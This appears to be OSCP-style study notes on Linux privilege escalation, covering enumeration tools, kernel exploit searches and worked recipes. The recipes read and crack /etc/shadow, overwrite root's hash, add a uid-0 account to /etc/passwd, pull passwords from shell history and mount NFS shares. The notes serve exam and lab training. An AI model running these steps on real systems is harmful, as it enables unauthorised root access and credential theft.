OSCP notesExtended library
Browse tracks

Linux Privesc

First pass: identity, delegated commands and privileged consumers

id
hostname
sudo -l
getcap -r /usr/bin /usr/sbin /bin /sbin /usr/local 2>/dev/null
systemctl list-timers --all
cat /etc/crontab
namei -l /PATH/TO/SCRIPT
ls -l /PATH/TO/SCRIPT

A writable script matters when a privileged consumer actually executes it. If LinPEAS already reported a category, avoid repeating the whole inventory; manually verify the selected object, permissions and trigger. Confirm any changed privilege using id, then use the proof/evidence checkpoint.

A timer or service points at a candidate script
systemctl cat SERVICE.service
systemctl show SERVICE.service -p User -p Group -p ExecStart -p FragmentPath
namei -l /PATH/TO/SCRIPT

Inspect the actual unit, drop-ins, interpreter and consumed file; a writable parent directory may matter even when the script itself is not writable. A root consumer and a controllable input still need a reachable trigger. If a relative command is used, establish the consumer's actual PATH rather than assuming it matches your shell. For a sudo/capability finding, use the permission-specific procedure and the matching GTFOBins context; an ordinary shell example is not interchangeable with its sudo/SUID/capability form.

If these checks leave no lead, inspect readable application configuration, backups and shell history, then review local listeners and routes. A localhost-only service needs its application/authentication checked; a new route or forwarded connection alone is not an exploit.

Automated first pass: linPEAS

Use one reviewed linPEAS build already transferred to the host. Run from a writable private directory:

bash ./linpeas.sh > linpeas.txt 2>&1
less -R linpeas.txt

Review sudo, file capabilities, SUID programs, services, scheduled execution and credential locations. A highlighted path is a candidate: inspect its actual permissions, the privileged consumer and the trigger before choosing an escalation method below. Do not rerun every static check merely because another script implements it.

This replaces the routine linPEAS → LSE → LinEnum sequence. It does not replace manual sudo -l, permission validation, reading application files or establishing exploit prerequisites. LinEnum is removed from the routine set because no required unique workflow was identified in these notes.

Transfer linPEAS or use an architecture-specific release

Use the transfer baseline to serve an already obtained script/build from Kali, download it to a writable target directory and compare hashes. The transfer page includes a wget fallback when curl is unavailable. Download and inspect the file before execution.

For an existing Linux amd64 release build matching the host:

uname -m
chmod +x ./linpeas_linux_amd64
./linpeas_linux_amd64 > linpeas.txt 2>&1
less -R linpeas.txt

Choose the actual host OS/architecture asset from PEASS releases. A release binary is an alternative packaging/execution context, not another mandatory scan. An exec-format error or execution denial is not a clean host assessment. Upstream linPEAS usage.

Watch a recurring process: pspy

Use this when the missing evidence is what executes, as whom, or with which arguments. Choose the binary for the host architecture:

chmod +x ./pspy64
./pspy64 -p -i 1000 | tee pspy.txt

Observe across the suspected schedule; Ctrl+C stops collection. A UID and command line can identify a privileged consumer, but you still need control over its input and a usable trigger. No event in a short observation window does not rule out a task. pspy releases and options.

Bound a process-observation window
timeout --signal=INT 120s ./pspy64 -p -i 1000 > pspy-window.txt 2>&1

Read pspy-window.txt. The timeout normally returns 124 after the window; that is not proof the collector failed or no task exists. Choose a window covering the suspected schedule. If timeout is unavailable, use the interactive command above and stop it manually.

LSE fallback: progressive output when the broad linPEAS pass is unsuitable

Use the reviewed Linux Smart Enumeration script instead of running a second full static pass by habit:

bash ./lse.sh -l 0
bash ./lse.sh -l 1
bash ./lse.sh -l 2 -s usr010,net,pro

Escalate verbosity only for a remaining question. -s selects test IDs or sections; the last command requests one user test plus network/process sections instead of another whole inventory. Use the current script's help for available IDs. This is a presentation/runtime fallback, not proof that every linPEAS check was reproduced.

Kernel Exploits

Locating and utilizing kernel exploits is typically a straightforward process:

  1. Enumerate the kernel version:
uname -a
    Linux debian 2.6.32-5-amd64 1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 GNU/Linux
  1. Use searchsploit to find matching exploits:
searchsploit linux kernel 2.6.32 priv esc
  1. We can try and adjust our search to be less specific with the kernel version, but more specific with the distribution:
searchsploit linux kernel 2.6 priv esc debian
  1. Obtain Linux Exploit Suggester 2 and run it on Kali with the target kernel release recorded from uname -r (KERNEL_RELEASE below):
perl "$HOME/oscp/tools/artifacts/linux/linux-exploit-suggester-2.pl" -k KERNEL_RELEASE

Service Exploits

To display all processes that are currently running with root privileges, use the following command:

ps aux | grep "^root"

With any results, try to identify the version number of the program being executed.

Running the program with the --version/-v command line option often shows the version number:

<program> --version
<program> -v

On Debian-like distributions, dpkg can show installed programs and their version:

dpkg -l | grep <program>

On systems that use rpm, the following achieves the same:

rpm -qa | grep PROGRAM

Port Forwarding

In certain cases, a root process may be linked to an internal port for communication purposes. If, for any reason, you cannot run an exploit on the target machine itself, you can forward the port to your local machine using SSH:

ssh -R <local-port>:127.0.0.1:<target-port> <username>@<local-machine>

The exploit code can now be run on your local machine at whichever port you chose.

Weak File Permissions

Find all writable files in /etc:

find /etc -maxdepth 1 -writable -type f

Find all readable files in /etc:

find /etc -maxdepth 1 -readable -type f

Find all directories which can be written to:

find / -executable -writable -type d 2> /dev/null

World Readable /etc/shadow

  1. Check the permissions of the /etc/shadow file and note that it is world readable:
ls -l /etc/shadow
    -rw-r--r-- 1 root shadow 810 May 13 2017 /etc/shadow
  1. Extract the root user’s password hash:
head -n 1 /etc/shadow
    root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXv
    RDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
  1. Save the password hash in a file (e.g. hash.txt):
echo '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0' > hash.txt
  1. Crack the password hash using john:
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
  1. Use the su command to switch to the root user, entering the password we cracked when prompted:
su
Password:
root@debian:/# id
uid=0(root) gid=0(root) groups=0(root)

World Writable /etc/shadow

  1. Check the permissions of the /etc/shadow file and note that it is world writable:
ls -l /etc/shadow
    -rw-r--rw- 1 root shadow 810 May 13 2017 /etc/shadow
  1. Copy / save the contents of /etc/shadow so we can restore it later.
  2. Generate a new SHA-512 password hash:
mkpasswd -m sha-512 newpassword
    $6$DoH8o2GhA$5A7DHvXfkIQO1Zctb834b.SWIim2NBNys9D9h5wUvYK3IOGdxoOlL9VE
    WwO/okK3vi1IdVaO9.xt4IQMY4OUj/
  1. Edit the /etc/shadow and replace the root user’s password hash with the one we generated.
root:$6$DoH8o2GhA$5A7DHvXfkIQO1Zctb834b.SWIim2NBNys9D9h5wUvYK3IOGdxoO
lL9VEWwO/okK3vi1IdVaO9.xt4IQMY4OUj/:17298:0:99999:7:::
  1. Use the su command to switch to the root user, entering the new password when prompted:
su
Password:
root@debian:/# id
uid=0(root) gid=0(root) groups=0(root)

World Writable /etc/passwd

The root account in /etc/passwd is usually configured like this:

root:x:0:0:root:/root:/bin/bash

The “x” in the second field instructs Linux to look for the password hash in the /etc/shadow file.

In some versions of Linux, it is possible to simply delete the “x”, which Linux interprets as the user having no password:

root::0:0:root:/root:/bin/bash

  1. Check the permissions of the /etc/passwd file and note that it is world writable.:
ls -l /etc/passwd
    -rw-r--rw- 1 root root 951 May 13 2017 /etc/passwd
  1. Generate a password hash for the password “password” using openssl:
openssl passwd "password"
    L9yLGxncbOROc
  1. Edit the /etc/passwd file and enter the hash in the second field of the root user row:
root:L9yLGxncbOROc:0:0:root:/root:/bin/bash
  1. Use the su command to switch to the root user:
su
Password:
# id
uid=0(root) gid=0(root) groups=0(root)
  1. Alternatively, append a new row to /etc/passwd to create an alternate root user (e.g. newroot):
newroot:L9yLGxncbOROc:0:0:root:/root:/bin/bash
  1. Use the su command to switch to the newroot user:
su newroot
Password:
# id
uid=0(root) gid=0(root) groups=0(root)

SUIDs and GUIDs

We can use find to locate SUID programs and discover which programs are SUID:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Next we can use this source to find exploitable methods of the found binary:

GTFO Bins:

Open resource

Stored Passwords

View the contents of hidden files in the user’s home directory:

$ cat ~/.*history | less
ls -al
cat .bash_history
ls -al
mysql -h somehost.local -uroot -ppassword123

You can also check for configuration files inside the OS.

NFS

Show the NFS server’s export list:

$ showmount -e <target>

Similar Nmap script:

nmap -sV --script=nfs-showmount TARGET

Mount an NFS share:

$ mount -o rw,vers=2 <target>:<share> <local_directory>

Prepare tools used on this page

Run setup on Kali after preparing the shared workspace. Skip a clone when its checkout already exists; review/update it deliberately rather than cloning over it. Operational commands remain in the sections above.

Prepare pspy

Runs on a Linux x64 target. Static upstream binary; choose pspy32 for i386. Only its help is suitable for a local preparation check; monitoring belongs to the target procedure. Upstream.

curl -fL https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -o "$HOME/oscp/tools/artifacts/linux/x64/pspy64"
chmod u+x "$HOME/oscp/tools/artifacts/linux/x64/pspy64"

Check on Kali:

file "$HOME/oscp/tools/artifacts/linux/x64/pspy64"
Prepare Linux Smart Enumeration

Alternative Linux shell collector; retain its script rather than running a second full inventory by habit. Upstream.

git clone --depth 1 https://github.com/diego-treitos/linux-smart-enumeration.git "$HOME/oscp/tools/repos/linux-smart-enumeration"
cp "$HOME/oscp/tools/repos/linux-smart-enumeration/lse.sh" "$HOME/oscp/tools/artifacts/linux/lse.sh"

Check on Kali:

bash -n "$HOME/oscp/tools/artifacts/linux/lse.sh"
Prepare Linux Exploit Suggester 2

Optional Perl suggester: run on Kali with the observed target kernel release, or transfer it for target-side use when Perl is available. Matching a kernel string does not account for every distribution backport. Upstream.

git clone --depth 1 https://github.com/jondonas/linux-exploit-suggester-2.git "$HOME/oscp/tools/repos/linux-exploit-suggester-2"
cp "$HOME/oscp/tools/repos/linux-exploit-suggester-2/linux-exploit-suggester-2.pl" "$HOME/oscp/tools/artifacts/linux/linux-exploit-suggester-2.pl"

Check on Kali:

perl -c "$HOME/oscp/tools/artifacts/linux/linux-exploit-suggester-2.pl"